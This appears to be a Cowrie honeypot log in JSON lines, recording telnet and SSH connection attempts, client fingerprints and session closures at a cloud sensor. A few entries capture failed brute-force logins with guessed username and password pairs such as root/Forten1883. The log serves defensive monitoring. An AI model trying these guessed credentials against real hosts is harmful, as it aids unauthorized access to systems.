{"eventid":"cowrie.session.closed","duration":27.502222776412964,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:43.706650Z","src_ip":"152.42.224.71","session":"91207f026b42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":102.82187104225159,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:51.403271Z","src_ip":"152.42.224.71","session":"0288f72f67ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.75852870941162,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:51.942263Z","src_ip":"152.42.224.71","session":"630669ad4798","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42366,"dst_ip":"10.17.0.5","dst_port":23,"session":"92a40fb999c4","protocol":"telnet","message":"New connection: 152.42.224.71:42366 (10.17.0.5:23) [session: 92a40fb999c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:52.222057Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42380,"dst_ip":"10.17.0.5","dst_port":23,"session":"5339b8fc6c72","protocol":"telnet","message":"New connection: 152.42.224.71:42380 (10.17.0.5:23) [session: 5339b8fc6c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:52.299770Z"}
{"eventid":"cowrie.session.closed","duration":120.00503754615784,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:56.273983Z","src_ip":"152.42.224.71","session":"b449fa1003ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52076,"dst_ip":"10.17.0.5","dst_port":23,"session":"e39d387e4233","protocol":"telnet","message":"New connection: 152.42.224.71:52076 (10.17.0.5:23) [session: e39d387e4233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:31:57.304550Z"}
{"eventid":"cowrie.session.closed","duration":120.00862574577332,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:04.253988Z","src_ip":"152.42.224.71","session":"4fd1d2f0e9a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56514,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d41245f8626","protocol":"telnet","message":"New connection: 152.42.224.71:56514 (10.17.0.5:23) [session: 3d41245f8626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:05.932746Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56530,"dst_ip":"10.17.0.5","dst_port":23,"session":"3163f2615a31","protocol":"telnet","message":"New connection: 152.42.224.71:56530 (10.17.0.5:23) [session: 3163f2615a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:06.298512Z"}
{"eventid":"cowrie.session.closed","duration":120.00235319137573,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:07.254014Z","src_ip":"152.42.224.71","session":"0b695593f444","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56542,"dst_ip":"10.17.0.5","dst_port":23,"session":"f833ba596009","protocol":"telnet","message":"New connection: 152.42.224.71:56542 (10.17.0.5:23) [session: f833ba596009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:08.995517Z"}
{"eventid":"cowrie.session.closed","duration":36.223920583724976,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:14.212061Z","src_ip":"152.42.224.71","session":"88a8f67f2ca7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56556,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ecf85a1e5c6","protocol":"telnet","message":"New connection: 152.42.224.71:56556 (10.17.0.5:23) [session: 1ecf85a1e5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:14.846862Z"}
{"eventid":"cowrie.session.closed","duration":42.1523232460022,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:15.793306Z","src_ip":"152.42.224.71","session":"b77a93d90dc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52828,"dst_ip":"10.17.0.5","dst_port":23,"session":"e14bdfc652ea","protocol":"telnet","message":"New connection: 152.42.224.71:52828 (10.17.0.5:23) [session: e14bdfc652ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:21.692114Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52838,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca454d278672","protocol":"telnet","message":"New connection: 152.42.224.71:52838 (10.17.0.5:23) [session: ca454d278672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:22.326624Z"}
{"eventid":"cowrie.session.closed","duration":30.870526790618896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:23.092453Z","src_ip":"152.42.224.71","session":"92a40fb999c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52840,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac1ebe9d8715","protocol":"telnet","message":"New connection: 152.42.224.71:52840 (10.17.0.5:23) [session: ac1ebe9d8715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:24.735604Z"}
{"eventid":"cowrie.session.closed","duration":50.50926852226257,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:26.924541Z","src_ip":"152.42.224.71","session":"97b4ffd9995d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.98514485359192,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:32.284808Z","src_ip":"152.42.224.71","session":"5339b8fc6c72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40636,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2cff9665c96","protocol":"telnet","message":"New connection: 152.42.224.71:40636 (10.17.0.5:23) [session: c2cff9665c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:32.605933Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40652,"dst_ip":"10.17.0.5","dst_port":23,"session":"036d50f77157","protocol":"telnet","message":"New connection: 152.42.224.71:40652 (10.17.0.5:23) [session: 036d50f77157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:34.980093Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":44918,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a99db9def89","protocol":"ssh","message":"New connection: 43.173.85.181:44918 (10.17.0.5:22) [session: 5a99db9def89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:37.859820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:37.864919Z","src_ip":"43.173.85.181","session":"5a99db9def89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:37.933549Z","src_ip":"43.173.85.181","session":"5a99db9def89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123456","message":"login attempt [test1/test123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:38.241371Z","src_ip":"43.173.85.181","session":"5a99db9def89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:39.312799Z","src_ip":"43.173.85.181","session":"5a99db9def89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.72012495994568,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:40.024543Z","src_ip":"152.42.224.71","session":"e39d387e4233","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.042556762695312,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:41.778007Z","src_ip":"152.42.224.71","session":"ac1ebe9d8715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38422,"dst_ip":"10.17.0.5","dst_port":23,"session":"04ea56880d40","protocol":"telnet","message":"New connection: 152.42.224.71:38422 (10.17.0.5:23) [session: 04ea56880d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:45.003759Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47114,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac1777499d10","protocol":"telnet","message":"New connection: 152.42.224.71:47114 (10.17.0.5:23) [session: ac1777499d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:46.282993Z"}
{"eventid":"cowrie.session.closed","duration":40.69646620750427,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:46.629090Z","src_ip":"152.42.224.71","session":"3d41245f8626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00106954574585,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:47.070669Z","src_ip":"152.42.224.71","session":"21160b5d1d9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.2095673084259,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:48.204952Z","src_ip":"152.42.224.71","session":"f833ba596009","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":56264,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e06782544ab","protocol":"ssh","message":"New connection: 47.237.167.49:56264 (159.203.135.109:22) [session: 2e06782544ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:49.187987Z"}
{"eventid":"cowrie.session.closed","duration":45.247737646102905,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:51.546140Z","src_ip":"152.42.224.71","session":"3163f2615a31","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:52.725112Z","src_ip":"47.237.167.49","session":"2e06782544ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06249713897705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:52.754518Z","src_ip":"152.42.224.71","session":"e14bdfc652ea","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:52.952498Z","src_ip":"47.237.167.49","session":"2e06782544ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47130,"dst_ip":"10.17.0.5","dst_port":23,"session":"39f0e7595ba2","protocol":"telnet","message":"New connection: 152.42.224.71:47130 (10.17.0.5:23) [session: 39f0e7595ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:55.155628Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46516,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc64b0ac21ce","protocol":"telnet","message":"New connection: 152.42.224.71:46516 (10.17.0.5:23) [session: bc64b0ac21ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:57.226648Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":42796,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d03ee2c6d56","protocol":"ssh","message":"New connection: 185.236.22.41:42796 (159.203.135.109:22) [session: 9d03ee2c6d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:57.649449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:57.654597Z","src_ip":"185.236.22.41","session":"9d03ee2c6d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:57.766227Z","src_ip":"185.236.22.41","session":"9d03ee2c6d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46532,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b11e5400c19","protocol":"telnet","message":"New connection: 152.42.224.71:46532 (10.17.0.5:23) [session: 6b11e5400c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:57.838474Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:58.199175Z","src_ip":"185.236.22.41","session":"9d03ee2c6d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:32:59.327596Z","src_ip":"185.236.22.41","session":"9d03ee2c6d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46542,"dst_ip":"10.17.0.5","dst_port":23,"session":"238b9622200d","protocol":"telnet","message":"New connection: 152.42.224.71:46542 (10.17.0.5:23) [session: 238b9622200d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:01.517520Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":38550,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bcddfbd3aba","protocol":"telnet","message":"New connection: 146.19.210.8:38550 (10.17.0.5:23) [session: 7bcddfbd3aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:06.089329Z"}
{"eventid":"cowrie.session.closed","duration":12.865157127380371,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:08.020648Z","src_ip":"152.42.224.71","session":"39f0e7595ba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":48244,"dst_ip":"10.17.0.5","dst_port":23,"session":"12eb7e77e034","protocol":"telnet","message":"New connection: 146.19.210.8:48244 (10.17.0.5:23) [session: 12eb7e77e034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:14.904920Z"}
{"eventid":"cowrie.session.closed","duration":40.114444971084595,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:15.094406Z","src_ip":"152.42.224.71","session":"036d50f77157","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.30376052856445,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:15.909573Z","src_ip":"152.42.224.71","session":"c2cff9665c96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00335669517517,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:17.439823Z","src_ip":"152.42.224.71","session":"025b499bc9a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":48248,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b0eac499129","protocol":"telnet","message":"New connection: 146.19.210.8:48248 (10.17.0.5:23) [session: 6b0eac499129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:18.311828Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35864,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b774170538f","protocol":"telnet","message":"New connection: 152.42.224.71:35864 (10.17.0.5:23) [session: 8b774170538f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:19.511935Z"}
{"eventid":"cowrie.session.closed","duration":32.067806243896484,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:29.294313Z","src_ip":"152.42.224.71","session":"bc64b0ac21ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37490,"dst_ip":"10.17.0.5","dst_port":23,"session":"e471dee65e86","protocol":"telnet","message":"New connection: 152.42.224.71:37490 (10.17.0.5:23) [session: e471dee65e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:31.322350Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37502,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2df718708cd","protocol":"telnet","message":"New connection: 152.42.224.71:37502 (10.17.0.5:23) [session: d2df718708cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:33.063756Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":57686,"dst_ip":"10.17.0.5","dst_port":23,"session":"b06ea25b7820","protocol":"telnet","message":"New connection: 146.19.210.8:57686 (10.17.0.5:23) [session: b06ea25b7820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:33.545267Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37506,"dst_ip":"10.17.0.5","dst_port":23,"session":"5edb8ce00a70","protocol":"telnet","message":"New connection: 152.42.224.71:37506 (10.17.0.5:23) [session: 5edb8ce00a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:35.551124Z"}
{"eventid":"cowrie.session.closed","duration":49.98389649391174,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:36.266741Z","src_ip":"152.42.224.71","session":"ac1777499d10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":57706,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb9838624467","protocol":"telnet","message":"New connection: 146.19.210.8:57706 (10.17.0.5:23) [session: bb9838624467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:37.035545Z"}
{"eventid":"cowrie.session.closed","duration":30.97852325439453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:37.067758Z","src_ip":"146.19.210.8","session":"7bcddfbd3aba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47588,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8cf3eb976c2","protocol":"telnet","message":"New connection: 152.42.224.71:47588 (10.17.0.5:23) [session: c8cf3eb976c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:37.917188Z"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:38.893100Z","src_ip":"47.237.167.49","session":"2e06782544ab","protocol":"ssh"}
